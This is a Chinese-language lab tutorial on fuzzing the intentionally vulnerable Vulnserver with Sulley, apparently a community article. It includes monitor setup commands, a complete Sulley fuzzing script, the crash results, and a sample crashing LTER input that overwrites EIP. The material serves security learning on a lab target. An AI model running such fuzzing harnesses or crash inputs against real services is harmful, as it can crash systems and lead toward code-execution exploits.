# Fuzzing Vulnserver with Sulley
## 介绍
Vulnserver是一个易受攻击的服务器，由Stephen Bradshaw撰写，他的博客位于此处：[grey-corner](http://www.thegreycorner.com/ "grey-corner")。这个服务器是故意编写的，因此我们可以学习fuzz测试。如果我们没有任何现有的漏洞来测试它，那么很难学会fuzz测试。fuzz测试过程包括以下阶段：
1. 确定目标
我们已经这样做了，因为我们即将fuzz Vulnserver。因此，目标已经被识别，并且它是在端口9999上运行的Vulnserver。
2. 识别输入
在执行任何其他操作之前，我们必须识别应用程序接受和处理的所有输入。我们知道存在漏洞，因为应用程序采用格式错误的输入并在不进行清理的情况下对其进行处理。可以通过telnet连接到端口9999上的Vulnserver并发出HELP命令来识别Vulnserver中的所有输入，该命令应显示Vulnserver接受的所有命令。例子如下：
# telnet localhost 9999
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
EXIT
我们可以看到服务器确实正在侦听端口9999，一旦我们连接到它，我们就执行了HELP命令，该命令显示了服务器支持的所有有效命令。
3. 生成fuzz数据
在我们识别出所有输入向量之后，我们必须生成要发送到目标应用程序的无效输入数据（在我们的例子中，是Vulnserver）。
4. 执行fuzz数据
当我们生成fuzz数据后，是时候将它发送到端口9999上的Vulnserver了。
5. 检测异常情况
我们还必须监视Vulnserver的崩溃。当服务器崩溃时，我们必须保存导致崩溃的输入数据，以便以后进行分析。
6. 确定可利用性
在fuzz测试之后，要通过找到的崩溃并加以利用，我们必须手动检查导致Vulnserver崩溃的所有已保存数据。
## 启动fuzz测试
在这一步中，我们将解释一个文件vulnserver.py，它将用作Sulley
fuzzer的输入，并将实际执行所有工作。要开始对Vulnserver进行fuzz测试，我们需要在客户操作系统上启动network_monitor.py和process_monitor.py（实际让Vulnserver开始fuzz的程序)。我们需要在fuzzer的操作系统上运行以下命令（请注意，Sulley
fuzer应该已经安装并且功能正常）：
<a href="file:///C:/">C:\</a>> cd C:\sulley\
C:\sulley> mkdir audits\vulnserver\
C:\sulley> python network_monitor.py -d 0 -f "src or dst port 9999" -P audits\vulnserver\
C:\sulley> python process_monitor.py -c audits\vulnserver.crashbin -p vulnserver.exe
我们创建了一个新目录，用于存储PCAP文件 -从Vulnserver传输的每个数据包都将记录在PCAP文件中。每个PCAP文件将包含来自fuzz过程的一次迭代的信息，因此将有相当多的PCAP文件。但不要担心，我们只会提取重要的内容，我们不需要理会那些不会让服务崩溃的测试用例。
在fuzzer操作系统上，我们需要使用以下命令启动fuzz测试过程，其中vulnserver.py是Sulley
fuzzer测试框架中的输入文件，描述了fuzz测试过程的所有方面：
# export PYTHONPATH="$PYTHONPATH:/home/user/sulley/
# python requests/vulnserver.py
我们已经将Sulley安装目录添加到PYTHONPATH中，因此python可以找到它需要正常运行的所有库。之后我们开始真正的fuzz测试过程。
在启动fuzz测试过程后，我们可以在URL地址<http://127.0.0.1:26000>
上的Web界面中观察fuzz测试进度。这是一个Sulley内部Web服务器，向我们显示fuzz过程完整性和导致崩溃的输入文件。
我们可以看到很多崩溃; 左边的数字表示fuzz过程的迭代（因此也是写入audits \ vulnserver
\目录的PCAP文件的名称，我们可以在其中找到使易受攻击的服务器崩溃的数据包）。我们可以看到有很多崩溃，其中EIP被输入数据覆盖，如0x41414141或0x20202020，因此这些崩溃确实告诉我们输入数据可用于在目标系统上执行任意代码。
到目前为止，我们已经看到了我们应该得到的结果，但实际上在所有fuzz的过程中vulnerver.py做了什么？
## vulnserver.py输入文件
首先让我们展示整个vulnserver.py文件：
#!/usr/bin/python
from sulley import *
import sys
import time
""" Receive banner when connecting to server. """
def banner(sock):
sock.recv(1024)
""" Define data model. """
s_initialize("VulnserverDATA")
s_group("commands", values=['HELP', 'STATS', 'RTIME', 'LTIME', 'SRUN', 'TRUN', 'GMON', 'GDOG', 'KSTET', 'GTER', 'HTER', 'LTER', 'KSTAN', 'EXIT'])
s_block_start("CommandBlock", group="commands")
s_delim(' ')
s_string('fuzz')
s_static('\r\n')
s_block_end()
""" Keep session information if we want to resume at a later point. """
s = sessions.session(session_filename="audits/vulnserver.session")
""" Define state model. """
s.connect(s_get("VulnserverDATA"))
""" Define the target to fuzz. """
target = sessions.target("192.168.1.126", 9999)
target.netmon = pedrpc.client("192.168.1.126", 26001)
target.procmon = pedrpc.client("192.168.1.126", 26002)
target.procmon_options = {
"proc_name" : "vulnserver.exe",
"stop_commands" : ['wmic process where (name="vulnserver.exe") delete'],
"start_commands" : ['C:\\Users\\eleanor\\Desktop\\vulnserver\\vulnserver.exe'],
}
""" grab the banner from the server """
s.pre_send = banner
""" start fuzzing - define target and data """
s.add_target(target)
s.fuzz()
首先，我们定义一个函数，在与漏洞服务器的每个连接上接收banner。这是必需的，因为在启动与易受攻击服务器的连接时，服务器向我们发送欢迎消息，在尝试将任何数据发送到漏洞服务器之前，我们必须接受该消息。在banner函数之后，我们定义了一个数据模型。数据模型是Sulley如何描述要fuzz的输入数据。s_initialize将名称设置为group元素。然后我们使用s_group来声明其中values参数指定所有命令名称的组，然后是命令块。closeslock_start和closeslock_end指定命令体的起点和终点。
使用s_group，我们不必单独定义每个命令;
我们只定义命令的名称，然后是空格分隔符和参数，它将被fuzz。我们已经描述了数据模型的声明，它实际上并没有做任何事情。我们必须提供一个数据模型，让Sulley知道在fuzz每个命令时它应该如何生成要发送到Vulnserver的数据。在定义数据模型之后，我们需要定义一个新的session，我们可以在以后使用它来继续fuzz测试。
接下来是一个状态模型，它描述了Sulley在fuzz测试时必须经历的状态。在我们的简单示例中，我们不需要很多状态，只需要一个实际使用先前定义的数据模型的状态，并按照数据模型中的描述对其命令进行fuzz处理。例如，如果我们将fuzzFTP服务器，那处理将会不同，因为我们首先需要进入USER状态，然后是PASS状态，我们在其中向FTP服务器进行身份验证。只有在认证之后，我们才能进入fuzz测试真正开始的状态。
以下是target声明。让我们再看一下这段代码：
target = sessions.target("192.168.1.126", 9999)
target.netmon = pedrpc.client("192.168.1.126", 26001)
target.procmon = pedrpc.client("192.168.1.126", 26002)
target.procmon_options = {
"proc_name" : "vulnserver.exe",
"stop_commands" : ['wmic process where (name="vulnserver.exe") delete'],
"start_commands" : ['C:\\Users\\eleanor\\Desktop\\vulnserver\\vulnserver.exe'],
}
这些行声明目标被fuzz。我们已经说过，在目标机器上我们应该运行网络和处理器监视器 -这两个将在端口26001和26002上侦听。所以这里我们声明这两个监视器可以访问哪些IP和端口。sessions.target参数指定发送fuzz数据的目标，procmon_options指定可用于启动和停止易受攻击服务器的命令。我们可以在cmd.exe中的目标操作系统上测试这些命令，因为它们应该是可运行的。我们使用wmic命令来阻止漏洞服务器进程，然后通过执行vulnserver.exe可执行文件来启动漏洞服务器。
在vulnserver.py结束时，我们只是抓住了Vulnserver的banner，现在我们可以开始fuzz测试了。
""" start fuzzing - define target and data """
s.add_target(target)
s.fuzz()
## 结果
Sulley能够在命令KSTET，TRUN，GMON，GTER，HTER和LTER中找到所有六个漏洞。它会多次检测到一些漏洞。让我们来看看Sulley在fuzz漏洞服务器时发现的漏洞数量：
TRUN : 3x
GMON : 1x
KSTET: 4x
GTER : 2x
HTER : 1x
LTER : 1x
Sulley发现了3个输入案例，它可以在fuzz TRUN命令时使漏洞服务器崩溃，1个输入案例在fuzz
GMON命令时崩溃。输入测试用例在fuzz命令LTER时漏洞服务器崩溃情况如下所示：
LTER /.:/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n
## 结论
我们知道如何使用Sulleyfuzz易受攻击的服务器。我们还看到Sulley成功找到了漏洞服务器中存在的所有六个漏洞。Sulley是一个很好的工具，用于fuzz某些软件的新漏洞。 | 社区文章 |
Subsets and Splits